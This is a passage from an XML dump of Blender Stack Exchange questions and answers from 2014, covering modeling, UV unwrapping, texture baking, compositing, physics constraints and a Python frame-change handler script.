ContentLicense="CC BY-SA 3.0" />
  <row Id="15496" PostTypeId="2" ParentId="15488" CreationDate="2014-09-02T18:50:19.413" Score="3" Body="&lt;p&gt;Try using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliVerts&quot; rel=&quot;nofollow noreferrer&quot;&gt;dupliverts&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gRGnW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gRGnW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;It's not really that pretty, but this is just a demo.. Rendered in 6 minutes&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a very subdivided plane, then delete &lt;em&gt;only edges and face&lt;/em&gt; so that you are left with just vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube and parent it to the plane.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a displace modifier on the plane, and setup a texture to use a displacement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable dupliverts on the plane.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-02T18:50:19.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15497" PostTypeId="1" CreationDate="2014-09-02T19:08:27.997" Score="2" ViewCount="296" Body="&lt;p&gt;I had to install a new motherboard, and with it, I had to reinstall my Windows 7 OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works well, I had reinstalled Blender also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I quit with CTRL+Q or from the menu: File/Quit, I get a windows popup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Blender has stopped working&quot; &#xA;&quot;Windows is looking for a solution.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I quit by making the console visible (Window/Toggle system console), then closing with the red &quot;X&quot; button, I don't get the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this message go away? It's quite annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling shows no results for this problem. I've been using Blender for years (not so much recently), I never had such a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hardware: Intel Core 2 Duo CPU 2.80 GHz, 4GB RAM. Motherboard: Asrock G41M-S3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;software: 64bit Windows 7 professional&lt;/p&gt;&#xA;" OwnerUserId="3657" LastActivityDate="2014-09-02T19:08:27.997" Title="When I quit Blender, I get: &quot;Blender has stopped working, windows is looking for a solution&quot;" Tags="&lt;windows&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-09-03T02:36:14.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="15498" PostTypeId="2" ParentId="15413" CreationDate="2014-09-02T20:17:15.277" Score="0" Body="&lt;p&gt;Use breakable constraints&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=UozbIssdhSI&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=UozbIssdhSI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General overview: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make all objects &quot;active&quot; by pressing &quot;Add Active&quot; on Physic pane&lt;/li&gt;&#xA;&lt;li&gt;Select all objects and click &quot;Connect&quot; to make constraints&lt;/li&gt;&#xA;&lt;li&gt;Select a constraint empty, and go to its Physics tab in Properties&#xA;window&lt;/li&gt;&#xA;&lt;li&gt;Check breakable box and adjust desired force&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-09-02T20:17:15.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15499" PostTypeId="2" ParentId="15410" CreationDate="2014-09-02T20:27:44.290" Score="8" Body="&lt;p&gt;Rename the vertex groups so they have the same name as the bone you want to deform them. Add the armature modifier. Make sure &quot;Vertex Groups&quot; is checked (it is by default) and you are done.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-09-02T20:27:44.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15500" PostTypeId="1" AcceptedAnswerId="15501" CreationDate="2014-09-02T20:45:34.770" Score="2" ViewCount="914" Body="&lt;p&gt;How can I move the objects in a single direction? Im tired of it going off course!&lt;/p&gt;&#xA;" OwnerUserId="5455" LastActivityDate="2014-09-02T20:47:37.163" Title="How can I move the objects in a single direction?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15501" PostTypeId="2" ParentId="15500" CreationDate="2014-09-02T20:47:37.163" Score="5" Body="&lt;p&gt;Press &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; to constrain the transformation to a single axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt;/&lt;kbd&gt;Y&lt;/kbd&gt;/&lt;kbd&gt;Z&lt;/kbd&gt; to constrain the transformation to two axes. For example, &lt;kbd&gt;G&lt;/kbd&gt;+&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; will constrain the transformation to the X/Y plane.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-02T20:47:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15502" PostTypeId="1" CreationDate="2014-09-02T21:01:03.630" Score="2" ViewCount="650" Body="&lt;p&gt;When I place a uv sphere, it shows the option of how many faces on the sphere. But, when I click somewhere else, the settings disappears. I can't find any settings for it again so how to I change the settings of how many faces on the sphere?&lt;/p&gt;&#xA;" OwnerUserId="5455" LastEditorUserId="30341" LastEditDate="2016-09-22T11:59:38.427" LastActivityDate="2016-09-22T11:59:38.427" Title="How can I get the UV sphere face settings back?" Tags="&lt;objects&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-09-03T06:36:46.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="15504" PostTypeId="1" AcceptedAnswerId="15507" CreationDate="2014-09-02T22:14:57.400" Score="4" ViewCount="7233" Body="&lt;p&gt;Is there any setting to make a 2D object? Or at least an object that can only be seen from 2 angles.&#xA;I tried making an object very skinny, but it did not work.&lt;/p&gt;&#xA;" OwnerUserId="5455" LastActivityDate="2014-09-03T02:30:58.323" Title="How can I create 2D objects?" Tags="&lt;objects&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15505" PostTypeId="2" ParentId="15504" CreationDate="2014-09-02T22:16:11.317" Score="2" Body="&lt;p&gt;Just make it infinity skinny ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Mesh &gt; Plane&lt;/em&gt; will add a 2D plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a 2D object cannot be seen edge on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1I0VF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-02T22:16:11.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15507" PostTypeId="2" ParentId="15504" CreationDate="2014-09-02T23:56:48.667" Score="5" Body="&lt;p&gt;You can also use curves and keep them as 2D:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxySr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VNXyI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-03T02:30:58.323" LastActivityDate="2014-09-03T02:30:58.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15508" PostTypeId="1" CreationDate="2014-09-03T00:08:00.697" Score="0" ViewCount="1194" Body="&lt;p&gt;I'm using Blender 2.71.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding armatures to my model I cannot unwrap or show a uv map. I've done it before on a different model and with the same one. But now I cannot unwrap it at all and the texture won't even show. When selecting all in edit mode the option to unwrap is greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was following this tutorial to add armatures if this helps: &lt;a href=&quot;https://www.youtube.com/watch?v=PPbSGUPj72w&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=PPbSGUPj72w&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzdzt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5884" LastActivityDate="2018-09-27T11:49:50.623" Title="UV mapping - Unwrap greyed out" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15509" PostTypeId="2" ParentId="15508" CreationDate="2014-09-03T02:07:36.797" Score="4" Body="&lt;p&gt;This is because you have no faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add faces, select everything with &lt;kbd&gt;A&lt;/kbd&gt; and press &lt;kbd&gt;F&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IUFjb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-03T02:07:36.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15510" PostTypeId="1" AcceptedAnswerId="15514" CreationDate="2014-09-03T03:18:07.023" Score="32" ViewCount="43912" Body="&lt;p&gt;I have a finished model where the UV maps overlap - lots of wood that isn't detailed to be particular to the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7DWw.png&quot; alt=&quot;Current state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to re-map the texture so that specific details can be added. I'd like to rebuild the UV map into non-overlapping islands, without losing the current texture application, and preferably without manually pulling apart the islands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2021-04-10T12:17:00.357" Title="Possible to bake texture to new UV map?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="15511" PostTypeId="1" CreationDate="2014-09-03T04:11:08.950" Score="3" ViewCount="1575" Body="&lt;p&gt;so I have successfully baked a texture onto my object in cycles. Is this new image texture already applied as a texture? When exporting, for example, with collada, it's recommended to export from the blender render. I tried to switch over to the blender render and make a new texture using the image texture baked with cycles, but the uv's didn't match. What is the quickest and best way to export a mesh with the new baked texture.&lt;/p&gt;&#xA;" OwnerUserId="5887" LastActivityDate="2014-09-03T04:11:08.950" Title="How to apply and export baked cycles textures." Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;&lt;texture-baking&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15512" PostTypeId="1" CreationDate="2014-09-03T05:20:21.997" Score="1" ViewCount="283" Body="&lt;p&gt;I am working on a script that works with a &lt;code&gt;Handlers.frame_change_post&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the script puts lines from a text file into a List. Collects all the markers into an other list. And manages to make subtitles out of all this. The caption is updated at every frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works very well and surprisingly fast but, when I render, I notice that all the markers are blinkering and then, after a random number of frames, Blender crashes. &lt;em&gt;Before flaging my post as off-topic and bug report, please hear my question :&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter if it's a bug or not, I'd like to find a better way to achieve what the script does. Is it really sane to run this piece of code 25 times per second? I mean, if I were Blender, I would crash all the same ! ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full script includes a timecode, working with the same handler and modifying a text object. This works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a stripped piece of script to give the idea :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#the text object (3D)&#xA;now = bpy.data.objects['sub']&#xA;#the list of markers (lines start and end)&#xA;sub = []&#xA;#the list of markers that initiate a new line&#xA;sub_start = []&#xA;#the text file&#xA;bpy.types.Scene.sub_file = 'English'&#xA;List = []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&#xA;...&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def update_markers():     &#xA;    sub[:] = []&#xA;    sub_start[:] = []&#xA;    for m in bpy.context.scene.timeline_markers:&#xA;        sub.append(m.frame)&#xA;        if m.name == 'start':&#xA;            sub_start.append(m.frame)&#xA;    sub.sort(key=lambda tup: tup)&#xA;    sub_start.sort()      &#xA;&#xA;def find_nearest(a,frame):&#xA;# here I try to find the closest &amp;lt; marker to the current frame&#xA;    if frame &amp;gt; a[0]:&#xA;        f = max([x for x in a if x &amp;lt;= frame])&#xA;        try:&#xA;            # test if the marker also belongs to the start list&#xA;            idx = sub_start.index(f)&#xA;        except ValueError:&#xA;            return -1&#xA;        else:&#xA;            return idx&#xA;    else:&#xA;        return -1&#xA;&#xA;def sub_line(frame):&#xA;    idx = find_nearest(sub, frame)&#xA;    if idx &amp;gt; -1:&#xA;        now = List[idx]  &#xA;        return [now]  &#xA;    else:&#xA;        return ['']  &#xA;&#xA;def update_text(self):&#xA;    if len(List) &amp;gt; 0:&#xA;        now.data.body = sub_line(bpy.context.scene.frame_current)&#xA;&#xA;&#xA;#---------------- MAIN -----------------------------&#xA;update_markers()&#xA;update_caption_list()&#xA;now.data.body = ''&#xA;#---------------------------------------------------&#xA;&#xA;&#xA;def register():&#xA;    bpy.app.handlers.frame_change_post.append(update_text)&#xA;&#xA;def unregister():&#xA;    bpy.app.handlers.frame_change_post.remove(update_text)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If someone has a piece of advice or any idea to prevent Blender from freaking out, I would be thrilled ! Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="5482" LastEditorUserId="55" LastEditDate="2014-09-03T13:38:53.807" LastActivityDate="2014-09-03T13:38:53.807" Title="Custom Handler makes Blender crash when rendering" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15513" PostTypeId="2" ParentId="15453" CreationDate="2014-09-03T06:35:31.713" Score="2" Body="&lt;p&gt;I found the solution: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;get a fresh copy of sympy by git;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;simply copy the subdirectory &quot;sympy&quot; into the corresponding site-packages directory of my blender:&lt;br&gt;&#xA;  c:\Program Files\Blender Foundation\Blender\2.71\python\lib\site-packages\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every is fine now. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;ouyang &lt;/p&gt;&#xA;" OwnerUserId="5857" LastActivityDate="2014-09-03T06:35:31.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15514" PostTypeId="2" ParentId="15510" CreationDate="2014-09-03T07:01:42.970" Score="39" Body="&lt;p&gt;Yes, using texture baking.&lt;/p&gt;&#xA;&lt;p&gt;The workflows are slightly different depending on the render engine you are using, but here's how to do it in cycles.&lt;/p&gt;&#xA;&lt;p&gt;A screenshot just to show how things are initially:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AfE6f.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new UV map in &lt;em&gt;Properties &amp;gt; Object data&lt;/em&gt;, then with it selected, edit or re-unwrap to make the second UV map layed out how you want it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kx4gQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new image to bake to by pressing &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; in the image editor, or by pressing &lt;em&gt;new&lt;/em&gt; in &lt;em&gt;header &amp;gt; Image&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v5DHf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a texture node to your material(s), set to the image you want to bake to.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the texture you want to bake from with an emission shader and set hte bake type to emit. Then with the new UV map still selected in &lt;em&gt;Object data&lt;/em&gt; and the target image's texture node selected in the material node setup(s), press &lt;em&gt;Bake&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/balvO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;After it's baked, remember to save the image. &lt;kbd&gt;F3&lt;/kbd&gt; to save it to disk, or &lt;em&gt;header &amp;gt; image &amp;gt; Pack as PNG&lt;/em&gt; to pack it into the .blend as a png.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-03T07:22:01.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15515" PostTypeId="1" AcceptedAnswerId="15516" CreationDate="2014-09-03T07:04:28.227" Score="2" ViewCount="313" Body="&lt;p&gt;In Blender Compositor: how can I convert the black in an image to transparency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimate goal is to &lt;code&gt;add&lt;/code&gt; one image A over image B without image A darkening image B.&lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2014-09-03T07:44:17.963" Title="Create alpha mask from intensity" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15516" PostTypeId="2" ParentId="15515" CreationDate="2014-09-03T07:09:44.810" Score="1" Body="&lt;p&gt;What about using a mix node with the &lt;a href=&quot;http://en.wikipedia.org/wiki/Blend_modes#Lighten_Only&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;lighten&lt;/em&gt; blend mode&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lBSuH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBSuH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more control, then you can generate a grayscale map and use that to set the alpha with a &lt;em&gt;set alpha&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jPAwj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jPAwj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-03T07:44:17.963" LastActivityDate="2014-09-03T07:44:17.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15517" PostTypeId="1" CreationDate="2014-09-03T08:57:44.260" Score="2" ViewCount="932" Body="&lt;p&gt;I can make a plane to be transparent and only show the shadow of an object with the &lt;em&gt;Shadow only&lt;/em&gt; option in the &lt;em&gt;Shadow&lt;/em&gt; category of the material. That is useful for making 2D graphics with transparent shadow.&lt;br&gt;&#xA;Is it possible to make the plane show the shadow and the light emitted by my object?&#xA;Like in this screenshot, only the background plane should be transparent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MH88W.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5888" LastEditorUserId="2217" LastEditDate="2014-09-04T01:57:01.597" LastActivityDate="2014-09-25T01:24:34.553" Title="Transparent Plane that receives shadow and light emitted by object" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15518" PostTypeId="1" AcceptedAnswerId="15521" CreationDate="2014-09-03T09:11:24.110" Score="5" ViewCount="2146" Body="&lt;p&gt;I really dislike the color wheel for picking certain colors, especially browns. I would really like a few &lt;a href=&quot;http://www.google.com/search?q=color+selection&amp;amp;safe=off&amp;amp;client=firefox-a&amp;amp;hs=LyS&amp;amp;rls=org.mozilla:nl:official&amp;amp;channel=sb&amp;amp;tbm=isch&amp;amp;tbo=u&amp;amp;source=univ&amp;amp;sa=X&amp;amp;ei=vtkGVMfKBqTy7AbZ2YHgDQ&amp;amp;ved=0CEYQsAQ&amp;amp;biw=1920&amp;amp;bih=983&quot; rel=&quot;noreferrer&quot;&gt;more options&lt;/a&gt; to pick the colors. A large amount of swatches would be especially nice. Now I often go to a &lt;a href=&quot;http://cloford.com/resources/colours/500col.htm&quot; rel=&quot;noreferrer&quot;&gt;site listing color codes&lt;/a&gt; and copy paste these into Blender, which is a laborious process. &lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-09-03T11:46:25.967" Title="Is there a way to change the color wheel used in the node editor?" Tags="&lt;nodes&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15519" PostTypeId="2" ParentId="734" CreationDate="2014-09-03T09:14:25.200" Score="15" Body="&lt;p&gt;The following method is probably &lt;strong&gt;best for real-time&lt;/strong&gt; (e.g. games) and low-poly work in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gandalf3 mentioned the new &lt;strong&gt;Autosmooth&lt;/strong&gt; feature, but I'd like to add that with it enabled, you can manually select faces, edges and vertices that you would like to be hard - the Autosmooth 'Angle' setting merely creates a base smoothing to work from. If you then go into edit mode and look in &lt;strong&gt;Shading / UVs &gt; Shading&lt;/strong&gt;, there are options to mark vertices, edges and faces. With Autosmooth disabled, you can see the edges/vertices you have marked, but they will not be rendered flat, but when Autosmooth is enabled, they will be rendered correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xxky1.png&quot; alt=&quot;Autosmooth: Manual marking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Gandalf3 mentions, unlike the split edges modifier, Autosmooth does not physically split elements in order to get hard edge lighting, so is ideal for low-poly work, and seems to be designed for better compatibility with the FBX and OBJ formats, which are commonly used in games.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2014-09-03T09:14:25.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15521" PostTypeId="2" ParentId="15518" CreationDate="2014-09-03T11:38:23.433" Score="7" Body="&lt;p&gt;You can choose from four different &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Buttons_and_Controls&quot; rel=&quot;noreferrer&quot;&gt;color picker types&lt;/a&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System&quot; rel=&quot;noreferrer&quot;&gt;user preferences&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8DyqA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you like one the options better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9ryS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be also interested in the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Paint/Palettes&quot; rel=&quot;noreferrer&quot;&gt;Palette addon&lt;/a&gt; which only works only in paint modes (Image Painting, Texture Paint, Vertex Paint, Weight Paint)&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-03T11:46:25.967" LastActivityDate="2014-09-03T11:46:25.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15522" PostTypeId="1" CreationDate="2014-09-03T12:51:11.190" Score="-1" ViewCount="458" Body="&lt;p&gt;I am doing editing with blender video sequencer and I found you can't dial down the opacity of a strip or it doesn't work when you've already applied a strip speed control effect.&lt;/p&gt;&#xA;" OwnerUserId="5889" LastEditorUserId="2217" LastEditDate="2014-09-03T12:58:50.560" LastActivityDate="2014-09-03T17:47:59.570" Title="video sequence editor, footage strip opacity" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-16T09:40:34.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="15523" PostTypeId="2" ParentId="15128" CreationDate="2014-09-03T12:52:12.043" Score="8" Body="&lt;p&gt;There is no special property or method to retrieve all objects on a certain layer in Blender. There is a context member &lt;code&gt;visible_objects&lt;/code&gt;, but multiple properties affect it (visibility of object, visibility of layer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you should use a plain Python list comprehension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objects_on_2nd_layer = [ob for ob in bpy.context.scene.objects if ob.layers[1]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-09-03T12:52:12.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15525" PostTypeId="1" AcceptedAnswerId="15526" CreationDate="2014-09-03T13:34:07.563" Score="3" ViewCount="349" Body="&lt;p&gt;I'm trying to simulate the magnification of a rifle scope. However, I don't want it to be a random amount, as rifle scopes typically have a set range of magnification (for example anywhere from 6x to 14x).&lt;br&gt;&#xA;I've done research prior to posting this, and I know having two UV Spheres scaled down from their poles and at different overall sizes would generate the effect I'm looking for, but is there a way to get a specified setting say like 4x zoom? I'm not looking to get a range to adjust from, just one level of magnification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if it helps, I'd preferably like to do this in the Cycles rendering engine if at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a rough model of the ACOG 4x rifle scope and studied up on the internal parts. It contains two eyepiece lenses, a roof prism and the objective lens, which I modeled. It works somewhat, most likely because I made the prism too square.&lt;/p&gt;&#xA;" OwnerUserId="5890" LastEditorUserId="2217" LastEditDate="2016-02-14T22:29:44.007" LastActivityDate="2016-02-14T22:29:44.007" Title="Any way to get a specified magnification effect?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15526" PostTypeId="2" ParentId="15525" CreationDate="2014-09-03T13:38:15.487" Score="1" Body="&lt;p&gt;I would recommend not trying to actually model the lenses to magnify the image, but rather place a camera in front of the scope with a higher &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera#Camera_Settings&quot; rel=&quot;nofollow&quot;&gt;Focal Length&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the compositer you can add the scope's camera view to the final image.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-03T13:38:15.487" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
